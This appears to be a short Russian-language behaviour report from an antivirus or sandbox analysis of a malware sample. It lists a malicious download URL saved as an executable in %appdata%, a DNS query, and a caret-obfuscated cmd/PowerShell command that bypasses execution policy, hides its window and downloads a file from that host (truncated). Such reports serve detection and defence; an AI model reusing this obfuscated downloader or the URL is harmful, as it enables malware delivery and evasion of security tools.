Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^oWErs^Hell.E^xe^ -E^x^eCUtI^O^npoliCy by^paSs^ -NOpROFIL^e -WIn^dO^WsTYLe H^iDDe^N^ ^(NE^W-^o^B^Je^Ct ^SY^STEM.^n^eT.We^b^CL^ient^).d^owN^lo^AD^f^i^L^E('http://www.zonedopesa.top/...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "P^oWErs^Hell.E^xe^ -E^x^eCUtI^O^npoliCy by^paSs^ -NOpROFIL^e -WIn^dO^WsTYLe H^iDDe^N^ ^(NE^W-^o^B^Je^Ct ^SY^STEM.^n^eT.We^b^CL^ient^).d^owN^lo^AD^f^i^L^E('http://www.zonedopesa.top/...' (со скрытым окном)